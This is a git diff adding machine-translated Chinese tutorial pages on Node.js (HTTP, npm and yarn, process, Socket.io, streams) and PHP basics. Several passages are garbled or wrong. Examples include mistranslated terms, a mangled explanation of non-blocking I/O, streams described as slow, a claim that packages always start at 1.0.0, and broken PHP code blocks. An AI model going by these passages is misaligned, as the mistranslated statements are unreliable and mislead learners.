diff --git a/client/src/guide/chinese/nodejs/http/index.md b/client/src/guide/chinese/nodejs/http/index.md
new file mode 100644
index 0000000000..e3a7966917
--- /dev/null
+++ b/client/src/guide/chinese/nodejs/http/index.md
@@ -0,0 +1,43 @@
+##localeTitle: undefined
+ HTTP
+
+Node.js有一组内置模块，无需进一步安装即可使用。类似地， **HTTP模块**包含通过超文本传输​​协议（HTTP）传输数据所需的一组功能。
+
+HTTP模块可以创建一个HTTP服务器，该服务器侦听服务器端口并将响应返回给客户端。
+
+要包含模块，请使用`require()`函数和模块名称。
+
+```javascript
+const http = require('http'); 
+```
+
+## Node.js作为Web服务器
+
+`createServer()`方法用于创建HTTP服务器。 `res.writeHead()`方法的第一个参数是状态代码， `200`表示一切正常，第二个参数是包含响应头的对象。
+
+```javascript
+const http = require('http'); 
+ 
+ //create a server object: 
+ http.createServer((req, res) => { 
+  res.writeHead(200, {'Content-Type': 'text/plain'}); 
+  res.write('Hello World!'); //write a response to the client 
+  res.end(); //end the response 
+ }).listen(8000); //the server object listens on port 8000 
+ 
+ console.log("Server is listening on port no : 8000"); 
+```
+
+### 执行步骤：
+
+*   您应该在计算机中安装Node.js.
+*   创建一个_app.js_文件并粘贴上面的代码。
+*   现在打开工作目录中的控制台并执行命令`node app.js`
+*   打开浏览器并输入`http://localhost:8000`
+
+_注意：_要关闭服务器，请在控制台中为Windows用户按`ctrl + C`
+
+## 资源
+
+*   [Node.js API](https://nodejs.org/api/http.html#http_http)
+*   [W3学校](https://www.w3schools.com/nodejs/nodejs_http.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/nodejs/index.md b/client/src/guide/chinese/nodejs/index.md
new file mode 100644
index 0000000000..384b5fa573
--- /dev/null
+++ b/client/src/guide/chinese/nodejs/index.md
@@ -0,0 +1,56 @@
+---
+title: Node.js
+localeTitle: Node.js的
+---
+## Node.js的
+
+Node.js是一个基于Chrome的V8 JavaScript引擎构建的JavaScript运行时。 Node.js使用事件驱动的非阻塞I / O模型，使其轻量且高效。 Node.js的包生态系统，npm，是世界上最大的开源库生态系统。
+
+#### 让我们分解吧。
+
+*   基于Chrome的V8 JavaScript引擎构建的Javascript运行时。  
+    每个浏览器都内置了一个JavaSript引擎来处理网站中包含的JavaScript文件。 Google Chrome使用的是使用C ++构建的V8引擎。 Node.js也使用这个超快引擎来解释JavaScript文件。
+*   Node.js使用事件驱动的模型。  
+    这意味着Node.js等待某些事件发生。然后它会对这些事件采取行动。事件可以是从单击到HTTP请求的任何事件。我们还可以声明自己的自定义事件，并使node.js监听这些事件。
+*   Node.js使用非阻塞I / O模型。  
+    我们知道I / O任务比处理任务花费的时间更长。 Node.js使用回调函数来处理此类请求。
+
+让我们假设一个特定的I / O任务需要5秒才能执行。 我们希望在代码中执行两次此I / O.
+
+**蟒蛇**
+
+```python
+import time 
+ 
+ def my_io_task(): 
+  time.sleep(5) 
+  print("done") 
+ 
+ my_io_task() 
+ my_io_task() 
+```
+
+**Node.js的**
+
+```node
+function my_io_task() { 
+    setTimeout(function() { 
+      console.log('done'); 
+    }, 5000); 
+ } 
+ 
+ my_io_task(); 
+ my_io_task(); 
+```
+
+两者看起来相似，但执行时间不同。 python代码需要10秒才能执行，而Node.js代码只需5秒即可执行。
+
+Node.js由于其非阻塞I / O模型而花费的时间更少。第一次调用`my_io_task()`启动计时器并将其`my_io_task()`在那里。它不等待函数的响应，而是继续调用第二个`my_io_task()` ，启动计时器并将其`my_io_task()`在那里。
+
+当计时器完成它的执行需要5秒时，它会调用该功能并在控制台上`done`打印。因为，两个定时器一起启动，它们一起完成，因此需要相同的时间。
+
+#### 更多信息：
+
+*   [官方NodeJS网站](https://nodejs.org)
+*   [节点版本管理器](https://github.com/creationix/nvm/blob/master/README.md)
+*   [n：交互式NodeJS版本管理器](https://github.com/tj/n)
\ No newline at end of file
diff --git a/client/src/guide/chinese/nodejs/npm/index.md b/client/src/guide/chinese/nodejs/npm/index.md
new file mode 100644
index 0000000000..3542edb632
--- /dev/null
+++ b/client/src/guide/chinese/nodejs/npm/index.md
@@ -0,0 +1,339 @@
+---
+title: NPM
+localeTitle: NPM
+---
+## NPM
+
+Node.js可以在服务器上用JavaScript编写应用程序。它基于V8 JavaScript运行时构建，用C ++编写 - 所以速度很快。最初，它旨在作为应用程序的服务器环境，但开发人员开始使用它来创建模块以帮助他们进行本地任务自动化。从那时起，基于节点的工具的全新生态系统已经发展，以改变前端开发的面貌。
+
+要在Node.js中使用这些模块（或包），我们需要能够以有用的方式安装和管理它们。这就是Node包管理器npm的用武之地。它安装了你想要使用的包，并提供了一个有用的界面来处理它们。
+
+## 安装NPM
+
+要安装`npm`我们必须在您当地的环境中下载Nodejs二进制文件。 Node.js二进制文件包括最新版本的npm。验证：
+
+```shell
+npm -v 
+ 5.6.0 
+```
+
+节点包管理器（NPM）提供两个主要功能 -
+
+*   可在`npmjs.com`上搜索的node.js软件包/模块的联机存储库。
+    
+*   用于安装Node.js包的命令行实用程序，执行Node.js包的版本管理和依赖关系管理。
+    
+
+## 使用NPM安装模块
+
+`npm`可以在本地或全局模式下安装软件包。默认情况下，NPM在本地模式下安装任何依赖项。在本地模式下，它将程序包安装在父工作目录的node\_modules文件夹中。此位置由当前用户拥有。全局包安装在{prefix} `/lib/node_modules/` ，由root拥有，其中{prefix}通常是`/usr/ or /usr/local` 。这意味着您必须使用sudo全局安装软件包，这可能会在解决第三方依赖项时导致权限错误，同时也是一个安全问题。
+
+### 以全局模式安装软件包
+
+全局安装的任何软件包都可以从命令行获得。我们使用--global标志或-g来全局安装包。
+
+```shell
+$ npm install uglify-js --global 
+```
+
+我们可以使用npm list命令列出我们安装的全局软件包。
+
+```shell
+$ npm list --global 
+ /usr/local/lib 
+ ├─┬ npm@5.6.0 
+ │ ├── abbrev@1.1.0 
+ │ ├── ansi-regex@2.1.1 
+ │ ├── ansicolors@0.3.2 
+ │ ├── ansistyles@0.1.3 
+ .................... 
+ └─┬ uglify-js@3.0.15 
+  ├─┬ commander@2.9.0 
+  │ └── graceful-readlink@1.0.1 
+  └── source-map@0.5.6 
+```
+
+然而，输出相当冗长。我们可以使用--depth = 0选项更改它。
+
+```js
+$ npm list -g --depth=0 
+ /usr/local/lib 
+ ├── npm@5.6.0 
+ └── uglify-js@3.0.15 
+```
+
+### 以本地模式安装软件包
+
+在本地安装软件包时，通常使用package.json文件。
+
+```shell
+npm install --save express 
+```
+
+现在您可以在js文件中使用此模块，如下所示
+
+```js
+const express = require('express'); 
+```
+
+本地模块进一步分为两种类型的`dependencies`项： `devDepenednecies`和`dependencies` 。这两者之间的区别在于devDependencies是仅在开发期间需要的模块，而依赖关系是在运行时也需要的模块。要将依赖项保存为安装的devDependency，我们需要执行`npm install --save-dev` ，而不仅仅是`npm install --save` 。
+
+安装我喜欢使用的devDependency的一个很好的简写是`npm i -D` 。保存常规依赖关系的简写是`-S`而不是`-D` 。
+
+### 安装特定版本的软件包
+
+为此，我们提到了我们要安装的软件包版本。
+
+```shell
+$ npm install underscore@1.8.2 -S 
+```
+
+要删除全局依赖项，请使用`-g`标志。
+
+### 卸载本地软件包
+
+npm是一个包管理器，所以它必须能够删除一个包。我们可以删除包裹：
+
+```shell
+$ npm uninstall underscore -S 
+```
+
+要更新全局依赖关系，请使用`-g`标志。
+
+### 更新包
+
+要更新包，您可以执行以下操作：
+```
+$ npm update underscore -S 
+```
+
+要检查是否有可用于与我们的项目关联的任何包的更新：
+
+```shell
+$ npm outdated 
+ 
+ Package     Current  Wanted  Latest  Location 
+ underscore    1.8.2   1.8.3   1.8.3  project 
+```
+
+Current列显示了本地安装的版本。最新专栏告诉我们最新版本的软件包。而Wanted专栏告诉我们可以在不破坏现有代码的情况下升级到最新版本的软件包。
+
+## 使用package.json管理依赖项
+
+如果没有使用特定标志并安装像`npm install express`这样的模块， `node_modules`将在本地安装模块在`node_modules`文件夹中，但是我们在项目中保存记录我们正在使用的每个依赖项的`package.json`都不会更新。因此，包将是开发特定的，不会安装在runtimme环境中。确保您始终使用正确的标志并更新`package.json`文件。
+
+在本地安装软件包时，需要一个package.json文件。要生成一个，您可以使用`npm init`命令执行此操作。它会提示一些问题，按Enter键可以保留默认值。
+
+```shell
+$ npm init 
+ package name: (project) 
+ version: (1.0.0) 
+ description: Demo of package.json 
+ entry point: (index.js) 
+ test command: 
+ git repository: 
+ keywords: 
+ author: 
+ license: (ISC) 
+```
+
+将`package.json`视为Node.js项目的所有依赖项或表现形式的守护者。如果您想更快地生成package.json文件，请使用`npm init --y` 。
+
+`package.json`文件中的公共属性列表：
+
+*   name - 包的名称
+    
+*   version - 包的语义版本
+    
+*   描述 - 包的描述
+    
+*   主页 - 包的主页
+    
+*   作者 - 包的作者
+    
+*   贡献者 - 包的贡献者的名称
+    
+*   依赖项 - 依赖项列表。 NPM会自动在程序包的node\_module文件夹中安装此处提到的所有依赖项。
+    
+*   devDependencies - 所有特定于开发的依赖项的列表
+    
+*   repository - 存储库类型和包的URL
+    
+*   主要 - 包裹的入口点
+    
+*   关键字 - 关键字
+    
+*   许可证 - 包裹的许可证，以便人们知道如何使用它，以及您对其进行的任何限制。
+    
+*   scripts - “scripts”属性是一个包含脚本命令的字典，这些命令在包的生命周期中的不同时间运行。
+    
+*   config - 可用于设置在升级过程中持久存在的程序包脚本中使用的配置参数的对象。
+    
+
+一个例子：
+
+```json
+{ 
+   "name": "express", 
+      "description": "Fast, unopinionated, minimalist web framework", 
+      "version": "4.11.2", 
+      "author": { 
+ 
+         "name": "TJ Holowaychuk", 
+         "email": "tj@vision-media.ca" 
+      }, 
+ 
+   "contributors": [{ 
+      "name": "Aaron Heckmann", 
+      "email": "aaron.heckmann+github@gmail.com" 
+   }, 
+ 
+    ], 
+   "license": "MIT", "repository": { 
+      "type": "git", 
+      "url": "https://github.com/strongloop/express" 
+   }, 
+   "homepage": "https://expressjs.com/", "keywords": [ 
+      "express", 
+      "framework", 
+      "sinatra", 
+      "web", 
+      "rest", 
+      "restful", 
+      "router", 
+      "app", 
+      "api" 
+   ], 
+   "dependencies": { 
+      "serve-static": "~1.8.1", 
+ 
+   }, 
+   "devDependencies": { 
+      "jade": "~1.9.1", 
+   }, 
+   "engines": { 
+      "node": ">= 0.10.0" 
+   }, 
+   "files": [ 
+      "LICENSE", 
+      "History.md", 
+      "Readme.md", 
+      "index.js", 
+      "lib/" 
+   ], 
+   "scripts": { 
+      "test": "mocha --require test/support/env 
+         --reporter spec --bail --check-leaks test/ test/acceptance/", 
+      "test-cov": "istanbul cover node_modules/mocha/bin/_mocha 
+         -- --require test/support/env --reporter dot --check-leaks test/ test/acceptance/", 
+      "test-tap": "mocha --require test/support/env 
+         --reporter tap --check-leaks test/ test/acceptance/", 
+      "test-travis": "istanbul cover node_modules/mocha/bin/_mocha 
+         --report lcovonly -- --require test/support/env 
+         --reporter spec --check-leaks test/ test/acceptance/" 
+   }, 
+ 
+ } 
+```
+
+## npm脚本
+
+`npm`脚本用于自动执行重复性任务。例如，构建项目，缩小层叠样式表（CSS）和JavaScript（JS）文件。脚本也用于删除临时文件和文件夹等。它们可以自定义，可以通过`package.json` `scripts`对象访问。
+
+```json
+{ 
+  "name": "super-cool-package", 
+  "version": "1.0.0", 
+  "scripts": {} 
+ } 
+```
+
+最受欢迎的NPM脚本示例：
+
+```json
+"scripts": { 
+    "start": "node index.js", 
+    ... 
+ } 
+```
+
+## npm缓存
+
+当npm安装一个软件包时，它会保留一个副本，因此下次要安装该软件包时，它不需要访问网络。副本缓存在主路径的.npm目录中。
+
+```shell
+$ ls ~/.npm 
+ lodash.zipobject 
+ log-driver 
+ log-symbols 
+ logalot 
+ logfmt 
+ loglevel 
+ long-timeout 
+ longest 
+ longest-strea 
+```
+
+随着时间的推移，这个目录会变得杂乱无章，因此偶尔清理它会很有用。
+
+```shell
+$ npm cache clean 
+```
+
+## 纱线 - npm的替代品
+
+Yarn也是由Facebook开发和维护的JavaScript包管理器。两者在使用时都有很高的相似性。据推测，安装依赖项比npm更快。要安装它：
+
+```shell
+npm install -g yarn 
+```
+
+纱线不打算取代npm，更像是改进它。它使用相同的package.json文件，并将依赖项保存到`node_modules/`文件夹。要初始化项目，您将使用：
+
+```shell
+yarn init 
+```
+
+### 添加，升级和删除依赖项
+
+添加新的依赖项很容易，类似于npm：
+
+```shell
+yarn add [package-name] 
+```
+
+如果您需要特定的软件包版本或标记，则可以执行此操作。
+
+```shell
+yarn add express@4.14.1 
+```
+
+对于dev依赖项，对等依赖项和可选依赖项，分别传递--dev --peer --optional。
+
+```shell
+yarn add gulp --dev 
+```
+
+将在devDependencies下保存gulp。要升级或删除软件包，只需将add命令替换为upgrade或remove后跟软件包名称即可。
+
+```shell
+# upgrade a gulp from 3.9.1 to version 4 
+ yarn upgrade gulp@4.0 
+ 
+ # remove a gulp 
+ yarn remove gulp 
+```
+
+每次安装，升级或删除后，yarn都会更新一个yarn.lock文件，该文件会跟踪node\_modules目录中安装的确切软件包版本。类似的功能已在npm中更新。现在有一个`package-lock.json` ，其行为与较新版本的npm中的`yarn.lock`完全相同。
+
+### 包版本号及其含义
+
+npm包的第一个版本始终是1.0.0
+
+错误修复，或微小的更改增加第三个数字，亨利1.0.0将成为1.0.1
+
+不破坏包的先前版本的新功能增加了第二个数字，而1.0.0将变为1.1.0
+
+所有破坏包的先前版本的更改都会增加第一个数字，而1.0.0将变为2.0.0
+
+在更新软件包以保持项目稳定时，务必记住这一点！
\ No newline at end of file
diff --git a/client/src/guide/chinese/nodejs/process/index.md b/client/src/guide/chinese/nodejs/process/index.md
new file mode 100644
index 0000000000..87a3b04c7a
--- /dev/null
+++ b/client/src/guide/chinese/nodejs/process/index.md
@@ -0,0 +1,89 @@
+---
+title: Process Object
+localeTitle: 过程对象
+---
+## 过程对象
+
+Node.js中的`process`对象是一个全局对象，可以在任何模块内访问，而不需要它。 Node.js中提供的全局对象或属性非常少，而`process`就是其中之一。它是Node.js生态系统中的一个重要组件，因为它提供了有关程序运行时的各种信息集。为了探索，我们将使用其中一个名为`process.versions`属性。此属性告诉我们有关已安装的Node.js版本的信息。它必须与`-p`标志一起使用。
+
+```shell
+$ node  -p "process.versions" 
+ 
+ # output 
+ { http_parser: '2.8.0', 
+  node: '8.11.2', 
+  v8: '6.2.414.54', 
+  uv: '1.19.1', 
+  zlib: '1.2.11', 
+  ares: '1.10.1-DEV', 
+  modules: '57', 
+  nghttp2: '1.29.0', 
+  napi: '3', 
+  openssl: '1.0.2o', 
+  icu: '60.1', 
+  unicode: '10.0', 
+  cldr: '32.0', 
+  tz: '2017c' } 
+```
+
+您可以检查的另一个属性是`process.release` ，它与我们在安装Node.js时使用的命令`$ node --version`相同，但这次输出将更加详细。
+
+```shell
+node -p "process.release" 
+ 
+ # output 
+ { name: 'node', 
+  lts: 'Carbon', 
+  sourceUrl: 'https://nodejs.org/download/release/v8.11.2/node-v8.11.2.tar.gz', 
+  headersUrl: 'https://nodejs.org/download/release/v8.11.2/node-v8.11.2-headers.tar.gz' } 
+```
+
+这些是我们可以在命令行中使用的一些不同命令来访问信息，否则模块无法提供。此`process`对象是EventEmitter类的一个实例，它包含自己的预定义事件，例如`exit` ，可用于了解Node.js中的程序何时完成其执行。运行以下程序，您可以观察到结果是状态代码`0` 。在Node.js中，此状态代码表示程序已成功运行。
+
+```js
+process.on('exit', code => { 
+    setTimeout(() => { 
+        console.log('Will not get displayed'); 
+    }, 0); 
+ 
+    console.log('Exited with status code:', code); 
+ }); 
+ console.log('Execution Completed'); 
+```
+
+上述计划的输出：
+
+```shell
+Execution Completed 
+ Exited with status code: 0 
+```
+
+`Process`还提供了与之交互的各种属性。其中一些可以在Node应用程序中使用，以提供在Node应用程序和任何命令行界面之间进行通信的网关。如果使用Node.js构建命令行应用程序或实用程序，这非常有用
+
+*   process.stdin：可读的流
+*   process.stdout：可写流
+*   process.stderr：一个可以识别错误的可用流
+
+使用`argv`您始终可以访问在命令行中传递的参数。 `argv`是一个数组，它将Node本身作为第一个元素，将文件的绝对路径作为第二个元素。从第三个元素开始，它可以有多个参数。
+
+尝试以下程序，以更深入地了解如何使用这些不同的属性和功能。
+
+```js
+process.stdout.write('Hello World!' + '\n'); 
+ 
+ process.argv.forEach(function(val, index, array) { 
+    console.log(index + ': ' + val); 
+ }); 
+```
+
+如果使用以下命令运行上面的代码，您将获得输出，并且打印前两个元素是`argv` 。
+
+```shell
+$ node test.js 
+ 
+ # output 
+ Hello World! 
+ 0: /usr/local/bin/node 
+ 1: /Users/amanhimself/Desktop/articles/nodejs-text-tuts/test.js 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/nodejs/socket.io/index.md b/client/src/guide/chinese/nodejs/socket.io/index.md
new file mode 100644
index 0000000000..fd38562758
--- /dev/null
+++ b/client/src/guide/chinese/nodejs/socket.io/index.md
@@ -0,0 +1,30 @@
+---
+title: Socket.io
+localeTitle: Socket.io
+---
+## Socket.io
+
+[Socket.io](https://socket.io/)是一个Node.js库，用于帮助实现计算机之间的实时通信。确保此Socket.io使用WebSockets在客户端的浏览器和服务器之间建立连接。该库使用[Engine.IO](https://github.com/socketio/engine.io)构建连接。
+
+### 演示
+
+为了体验可能的东西，Socket.io提供了两个演示来展示它的可能用例。您可以在[https://socket.io/demos/chat/](https://socket.io/demos/chat/)找到演示，并在左侧找到白板演示的链接。
+
+### 入门
+
+由于Socket.io是一个Node.js库，因此必须确保安装了Node.js. 如果尚未设置，请在[Nodejs.org上](https://nodejs.org/)获取最新版本
+
+#### 苹果系统
+
+Node.js也可以通过[Homebrew](https://brew.sh/)安装，用于macOS的软件包管理器。
+
+只需键入`brew install node`即可安装Node.js.
+
+也可以在Socket.io的页面上找到[入门](https://socket.io/get-started/chat/)指南。它展示了如何轻松地在几行中建立实时聊天。
+
+#### 更多信息
+
+有关Socket.io及其文档的更多信息，请访问：
+
+*   [Socket.io](https://socket.io/)
+*   [Socket.io文档](https://socket.io/docs/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/nodejs/streams/index.md b/client/src/guide/chinese/nodejs/streams/index.md
new file mode 100644
index 0000000000..36e39aa33b
--- /dev/null
+++ b/client/src/guide/chinese/nodejs/streams/index.md
@@ -0,0 +1,159 @@
+---
+title: Streams
+localeTitle: 流
+---
+## 流
+
+Streams在Node.js核心API中可用作允许数据以连续方式读取或写入的对象。基本上，与缓冲区相比，流以块的形式执行该操作，逐位执行，从而使其成为一个缓慢的过程。
+
+有四种类型的流可用：
+
+*   可读（从中读取数据的流）
+*   可写（写入数据的流）
+*   双工（可读和可写的流）
+*   转换（可在读取和写入时修改数据的双工流）
+
+每种可用类型都有几种相关的方法。一些常见的是：
+
+*   数据（这在数据可用时运行）
+*   结束（当没有数据可供读取时触发）
+*   错误（当接收或写入数据时出错）
+
+### 管
+
+在编程中， `pipe`的概念并不新鲜。自20世纪70年代以来，基于Unix的系统一直在实用。管道做什么？ `pipe`通常连接源和目的地。它将一个函数的输出作为另一个函数的输入传递。
+
+在Node.js中， `pipe`以相同的方式使用，以配对不同操作的输入和输出。 `pipe()`作为一个函数可用，它接受可读的源流并将输出附加到目标流。一般语法可以表示为：
+
+```javascript
+src.pipe(dest); 
+```
+
+多个`pipe()`函数也可以链接在一起。
+
+```javascript
+a.pipe(b).pipe(c); 
+ 
+ // which is equivalent to 
+ 
+ a.pipe(b); 
+ b.pipe(c); 
+```
+
+### 可读流
+
+生成可作为输入附加到可写流的数据的流称为可读流。要创建可读流：
+
+```javascript
+const { Readable } = require('stream'); 
+ 
+ const readable = new Readable(); 
+ 
+ readable.on('data', chunk => { 
+  console.log(`Received ${chunk.length} bytes of data.`); 
+ }); 
+ readable.on('end', () => { 
+  console.log('There will be no more data.'); 
+ }); 
+```
+
+### 可写流
+
+这是一种流的类型，您可以将数据从可读源`pipe()`传输`pipe()` 。要创建可写流，我们有一个构造函数方法。我们从中创建一个对象并传递许多选项。该方法有三个参数：
+
+*   块：一个缓冲区
+*   编码：将数据转换为人类可读的形式
+*   callback：从块中完成数据处理时调用的函数
+
+```javascript
+const { Writable } = require('stream'); 
+ const writable = new Writable({ 
+  write(chunk, encoding, callback) { 
+    console.log(chunk.toString()); 
+    callback(); 
+  } 
+ }); 
+ 
+ process.stdin.pipe(writable); 
+```
+
+### 双工流
+
+双工流帮助我们同时实现可读和可写流。
+
+```javascript
+const { Duplex } = require('stream'); 
+ 
+ const inoutStream = new Duplex({ 
+  write(chunk, encoding, callback) { 
+    console.log(chunk.toString()); 
+    callback(); 
+  }, 
+ 
+  read(size) { 
+    this.push(String.fromCharCode(this.currentCharCode++)); 
+    if (this.currentCharCode > 90) { 
+      this.push(null); 
+    } 
+  } 
+ }); 
+ 
+ inoutStream.currentCharCode = 65; 
+ process.stdin.pipe(inoutStream).pipe(process.stdout); 
+```
+
+`stdin`流将可读数据管道传输到双工流中。 `stdout`帮助我们查看数据。双工流的可读和可写部分完全独立地操作。
+
+### 变换流
+
+这种类型的流更多是双工流的高级版本。
+
+```javascript
+const { Transform } = require('stream'); 
+ 
+ const upperCaseTr = new Transform({ 
+  transform(chunk, encoding, callback) { 
+    this.push(chunk.toString().toUpperCase()); 
+    callback(); 
+  } 
+ }); 
+ 
+ process.stdin.pipe(upperCaseTr).pipe(process.stdout); 
+```
+
+我们消耗的数据与前面的双工流示例相同。这里需要注意的是`transform()`不需要实现`read`或`write`方法。它结合了两种方法本身。
+
+### 为什么要使用Streams？
+
+由于Node.js是异步的，因此通过将回调传递给具有磁盘和网络的函数来进行交互。下面给出的示例从磁盘上的文件读取数据，并通过来自客户端的网络请求对其进行响应。
+
+```javascript
+const http = require('http'); 
+ const fs = require('fs'); 
+ 
+ const server = http.createServer((req, res) => { 
+  fs.readFile('data.txt', (err, data) => { 
+    res.end(data); 
+  }); 
+ }); 
+ server.listen(8000); 
+```
+
+上面的代码片段将起作用，但在将结果写回客户端请求之前，文件中的所有数据将首先进入每个请求的内存。如果我们正在读取的文件太大，这可能会成为一个非常繁重且昂贵的服务器调用，因为它将消耗大量内存以使进程前进。客户端的用户体验也会受到延迟的影响。
+
+在这种情况下，如果我们使用流，则数据一旦从磁盘接收就会一次作为一个块发送到客户端请求。
+
+```javascript
+const http = require('http'); 
+ const fs = require('fs'); 
+ 
+ const server = http.createServer((req, res) => { 
+  const stream = fs.createReadStream('data.txt'); 
+  stream.pipe(res); 
+ }); 
+ server.listen(8000); 
+```
+
+`pipe()`在这里负责写入或在我们的情况下，使用响应对象发送数据，并且一旦从文件读取所有数据，就关闭连接。
+
+注意： `process.stdin`和`process.stdout`是在Node.js API提供的全局`process`对象的流中构建的。
\ No newline at end of file
diff --git a/client/src/guide/chinese/php-syntax-overview/index.md b/client/src/guide/chinese/php-syntax-overview/index.md
new file mode 100644
index 0000000000..41a558380d
--- /dev/null
+++ b/client/src/guide/chinese/php-syntax-overview/index.md
@@ -0,0 +1,179 @@
+---
+title: PHP Syntax Overview
+localeTitle: PHP语法概述
+---
+本章将向您介绍PHP的基本语法，并使您的PHP基础变得非常重要。
+
+### 逃到PHP
+
+PHP解析引擎需要一种方法来区分PHP代码与页面中的其他元素。这样做的机制被称为“逃避PHP”。有四种方法可以做到这一点 -
+
+#### Canonical PHP标签
+
+最普遍有效的PHP标签样式是 -
+```
+<?php...?> 
+```
+
+如果您使用此样式，您可以肯定您的标签将始终被正确解释。
+
+#### 短开（SGML风格）标签
+
+短或短开标签看起来像这样 -
+```
+<?...?> 
+```
+
+正如人们所料，短标签是最短的选项你必须做两件事之一才能让PHP识别标签 -
+
+在构建PHP时，请选择--enable-short-tags配置选项。
+
+将php.ini文件中的短_开_标签设置设置为on。必须禁用此选项才能使用PHP解析XML，因为XML标记使用相同的语法。
+
+#### ASP风格的标签
+
+ASP样式标记模仿Active Server Pages使用的标记来描述代码块。 ASP风格的标签看起来像这样 -
+```
+<%...%> 
+```
+
+要使用ASP样式标记，您需要在php.ini文件中设置配置选项。
+
+#### HTML脚本标记
+
+HTML脚本标签看起来像这样 -
+```
+<script language="PHP">...</script> 
+```
+
+### 评论PHP代码
+
+注释是程序中仅存在于人类读者并在显示程序结果之前被删除的部分。 PHP中有两种评论格式 -
+
+#### 单行评论 -
+
+它们通常用于与本地代码相关的简短说明或注释。以下是单行注释的示例。
+
+\`\`\` <？ ＃这是评论，而且 ＃这是评论的第二行
+
+//这也是评论。每种风格仅供评论 print“单行注释的例子”; ？>
+```
+#### Multi-lines printing − 
+ Here are the examples to print multiple lines in a single print statement − 
+ 
+ ``` 
+ <? 
+   # First Example 
+   print <<<END 
+   This uses the "here document" syntax to output 
+   multiple lines with $variable interpolation. Note 
+   that the here document terminator must appear on a 
+   line with just a semicolon no extra whitespace! 
+   END; 
+ 
+   # Second Example 
+   print "This spans 
+   multiple lines. The newlines will be 
+   output as well"; 
+ ?> 
+```
+
+#### 多行评论 -
+
+它们通常用于提供伪代码算法，并在必要时提供更详细的解释。注释的多行样式与C中的相同。以下是多行注释的示例。
+```
+<? 
+   /* This is a comment with multiline 
+      Author : Mohammad Mohtashim 
+      Purpose: Multiline Comments Demo 
+      Subject: PHP 
+   */ 
+ 
+   print "An example with multi line comments"; 
+ ?> 
+```
+
+### PHP对空格不敏感
+
+空格是您键入的内容，通常在屏幕上不可见，包括空格，制表符和回车符（行尾字符）。
+
+PHP空格不敏感意味着它几乎不会影响你连续多少个空白字符。一个空格字符与许多这样的字符相同。
+
+例如，以下每个将2 + 2的总和分配给变量$ 4的PHP语句都是等效的 -
+```
+$four = 2 + 2; // single spaces 
+ $four <tab>=<tab2<tab>+<tab>2 ; // spaces and tabs 
+ $four = 
+ 2+ 
+ 2; // multiple lines 
+```
+
+### PHP区分大小写
+
+是的，PHP是一种区分大小写的语言。试试下面的例子 -
+```
+<html> 
+   <body> 
+ 
+      <?php 
+         $capital = 67; 
+         print("Variable capital is $capital<br>"); 
+         print("Variable CaPiTaL is $CaPiTaL<br>"); 
+      ?> 
+ 
+   </body> 
+ </html> 
+```
+
+这将产生以下结果 -
+```
+Variable capital is 67 
+ Variable CaPiTaL is 
+```
+
+### 语句是以分号结束的表达式
+
+PHP中的语句是任何后跟分号（;）的表达式。由PHP标记包含的任何有效PHP语句序列都是有效的PHP程序。这是PHP中的典型语句，在这种情况下，将一个字符串分配给一个名为$ greeting的变量 -
+```
+$greeting = "Welcome to PHP!"; 
+```
+
+### 表达式是令牌的组合
+
+PHP的最小构建块是不可分割的标记，例如数字（3.14159），字符串（.two。），变量（$ 2），常量（TRUE），以及构成PHP本身语法的特殊单词，如if ，等等，等等
+
+### 大括号制作积木
+
+尽管语句不能像表达式一样组合，但是您始终可以通过将语句包含在一组花括号中来将语句序列放在语句的任何位置。
+
+这两个陈述都是等价的 -
+```
+if (3 == 2 + 1) 
+   print("Good - I haven't totally lost my mind.<br>"); 
+ 
+ if (3 == 2 + 1) { 
+   print("Good - I haven't totally"); 
+   print("lost my mind.<br>"); 
+ } 
+```
+
+### 从命令提示符运行PHP脚本
+
+是的，您可以在命令提示符下运行PHP脚本。假设您在test.php文件中有以下内容
+```
+<?php 
+   echo "Hello PHP!!!!!"; 
+ ?> 
+```
+
+现在运行此脚本作为命令提示符如下 -
+```
+$ php test.php 
+```
+
+它会产生以下结果 -
+```
+Hello PHP!!!!! 
+```
+
+希望您现在掌握PHP语法的基本知识。
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/PHP Data Types/index.md b/client/src/guide/chinese/php/PHP Data Types/index.md
new file mode 100644
index 0000000000..44736acf3f
--- /dev/null
+++ b/client/src/guide/chinese/php/PHP Data Types/index.md	
@@ -0,0 +1,28 @@
+---
+title: PHP Data Types
+localeTitle: PHP数据类型
+---
### 数据类型
+
+progarmming语言中的每个变量都有一个关联的数据类型。 每种数据类型都需要不同的内存量，并且具有一些可以在其上执行的特定操作。
+
+\### PHP数据类型
+
+PHP支持以下数据类型： 1. `Integers` - 是`Integers` ，没有小数点，如515。
+
+2\. `Doubles` - 是浮点数，如3.159或149.1。
+
+3\. `Booleans` - 只有两个可能的值，无论是真还是假。
+
+4\. `NULL` - 是一种只有一个值的特殊类型：NULL。
+
+5\. `Strings` - 是字符序列，如'PHP支持字符串操作'。
+
+6\. `Arrays` - 是其他值的命名和索引集合。
+
+7\. `Objects` - 是程序员定义的类的实例，它们可以打包特定于类的其他类型的值和函数。
+
+8\. `Resources` - 是包含对PHP外部资源（例如数据库连接）的引用的特殊变量。
+
+前五个是简单类型，接下来的两个（数组和对象）是复合的 - 复合类型可以打包任意类型的其他任意值，而简单类型则不能。
+
+###更多信息 有关更多资源，请访问：https：//www.w3schools.com/php/php\_datatypes.asp
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/PHP Operators/index.md b/client/src/guide/chinese/php/PHP Operators/index.md
new file mode 100644
index 0000000000..04edc91dab
--- /dev/null
+++ b/client/src/guide/chinese/php/PHP Operators/index.md	
@@ -0,0 +1,10 @@
+---
+title: PHP Operators
+localeTitle: PHP运算符
+---
## PHP运算符
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/php/php-operators/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/PHP Syantax and Comments/index.md b/client/src/guide/chinese/php/PHP Syantax and Comments/index.md
new file mode 100644
index 0000000000..d439caa4ca
--- /dev/null
+++ b/client/src/guide/chinese/php/PHP Syantax and Comments/index.md	
@@ -0,0 +1,40 @@
+---
+title: PHP Syantax and Comments
+localeTitle: PHP Syantax和评论
+---
### PHP Syantx
+
+PHP syantax的结构有点像：
+
+```shell
+    <?php 
+ 
+    // Your PHP code goes here. 
